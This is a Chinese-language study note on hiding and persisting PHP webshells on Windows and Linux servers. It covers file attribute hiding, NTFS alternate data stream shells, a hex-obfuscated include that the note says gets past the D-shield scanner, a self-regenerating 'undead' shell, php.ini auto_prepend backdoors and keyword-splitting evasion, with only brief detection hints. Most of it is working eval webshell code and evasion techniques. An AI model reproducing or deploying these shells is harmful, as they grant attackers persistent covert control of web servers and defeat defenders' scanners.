本文僅作學(xué)習(xí)記錄,如有侵權(quán),請(qǐng)聯(lián)系刪除!
修改文件屬性:
- Windows
使用attrib命令,參數(shù)說明如下:
+r 設(shè)置只讀屬性
-r 取消只讀屬性
+a 設(shè)置存檔屬性
-a 取消存檔屬性
+s 設(shè)置系統(tǒng)屬性
-s 取消系統(tǒng)屬性
+h 設(shè)置隱藏屬性
-h 取消隱藏屬性
/s 顯示目錄下所有文件的屬性
/d 將attrib和任意命令行選項(xiàng)應(yīng)用到目錄
attrib +s +h webshell.php
即使開啟了顯示隱藏的文件或是只使用dir顯示都是看不見的

檢測(cè)手段:
dir /A
木馬文件查殺
- Linux:
在Linux中,使用chattr命令來防止root和其他管理用戶誤刪除和修改重要文件及目錄,此權(quán)限用ls -l是查看不出來的,從而達(dá)到隱藏權(quán)限的目的。
a:讓文件或目錄僅供附加用途。
b:不更新文件或目錄的最后存取時(shí)間。
c:將文件或目錄壓縮后存放。
d:將文件或目錄排除在傾倒操作之外。
i:不得任意更動(dòng)文件或目錄。
s:保密性刪除文件或目錄。
S:即時(shí)更新文件或目錄。
u:預(yù)防意外刪除。
chattr +i evil.php 鎖定文件
lsattr evil.php 屬性查看
chattr -i evil.php 解除鎖定
rm -rf evil.php 刪除文件

利用ADS流創(chuàng)建文件:
之前我只知道可以通過ADS流模式突破進(jìn)而創(chuàng)建文件夾,這還是udf提權(quán)的技巧,但實(shí)際我對(duì)ADS是很陌生的,這里簡(jiǎn)單學(xué)習(xí)一波~
NTFS交換數(shù)據(jù)流(alternate data streams簡(jiǎn)稱ADS)是NTFS磁盤格式的一個(gè)特性。
一個(gè)完整的流的格式為:
<filename>:<stream name>:<stream type>
- 主流即我們平時(shí)可以看見的可以存儲(chǔ)數(shù)據(jù)的文件。而非主文件流寄宿于主文件流中,無法直接讀取。
- 修改宿主文件的內(nèi)容或流的內(nèi)容,不會(huì)對(duì)彼此造成影響。
- 流類型總是以
$符號(hào)作為開始,NTFS文件系統(tǒng)中的文件至少包含一個(gè)主流,也就是data流($DATA),默認(rèn)流名為空。
- ADS可以省略流名,但不能省略流類型。
- NTFS文件系統(tǒng)中的文件夾沒有data流,但可以指派data流,文件夾的主流為directory流(
$INDEX_ALLOCATION),流名默認(rèn)為$I30
在命令行中echo一個(gè)數(shù)據(jù)流從而創(chuàng)建一個(gè)ADS隱藏文件
echo ^<?php @eval($_POST['pass']);?^> > index.php:shell.jpg
這樣生成了一個(gè)不可見的shell.jpg,type dir del命令都不行
我們只能看見一個(gè)index.php文件,且內(nèi)容為空
這里做個(gè)解釋:
對(duì)于windows環(huán)境的服務(wù)器,上傳test.php:.jpg類型的文件,當(dāng)文件傳到服務(wù)端時(shí),windows會(huì)將該文件識(shí)別成ADS,從而認(rèn)為其宿主文件名為test.php而將.jpg識(shí)別為流名。
通過notepad test.php:.jpg可以查看內(nèi)容,所以test.php內(nèi)容為空是正常的。
命令行輸入完整的文件名即可通過notepad進(jìn)行編輯

雖然我們已經(jīng)將文件隱藏了,都是木馬但并不能夠起作用,這里就需要用到文件包含:
<?php include('index.php:shell.jpg');?>
然后直接用蟻劍去連接即可
后面驚奇地發(fā)現(xiàn)這個(gè)php包含文件居然沒有被D盾查殺
這里利用PHP可變變量進(jìn)行二次轉(zhuǎn)換加上對(duì)包含的文件名進(jìn)行hex處理進(jìn)行免殺繞過
<?php
$a="696E6465782E7068703"."A7368656C6C2E6A7067";
$b="a";
include(PACK('H*',$$b))
?>
不死馬:
<?php
set_time_limit(0);
ignore_user_abort(1);
unlink(__FILE__);
while(1){
file_put_contents('webshell.php','<?php @eval($_POST["password"]);?>');
sleep(5);
}?>
在每次刪除后的5秒鐘之后又會(huì)重新生成一個(gè)新的webshell.php文件,若要徹底刪除文件最好的方法是將web服務(wù)停止了再刪除。
php.ini:
利用原理:訪問一個(gè)php文件,在文件執(zhí)行之前自動(dòng)執(zhí)行牧馬文件:
1、在php.ini中找到配置項(xiàng),修改auto_prepend_file:
auto_prepend_file =shell.dll
2、修改include_path
修改為存在后門文件的絕對(duì)路徑
# ; Windows: "\path1;\path2"
include_path = ".;c:\php\includes;D:\phpstudy_pro\666"
3、在include_path指定的路徑上創(chuàng)建webshell.dll文件:
<?php @eval($_POST[pass]);?>
然后重啟Web應(yīng)用,用蟻劍連接任一可以訪問到的php文件即可
關(guān)鍵字拆分與文件包含:
將webshell拆分成兩個(gè)部分:
<?php @eval($_POST[pass]);?>
<?php
$a = $_POST[pass];
?>
<?php
include "a.php";
@eval($a);
?>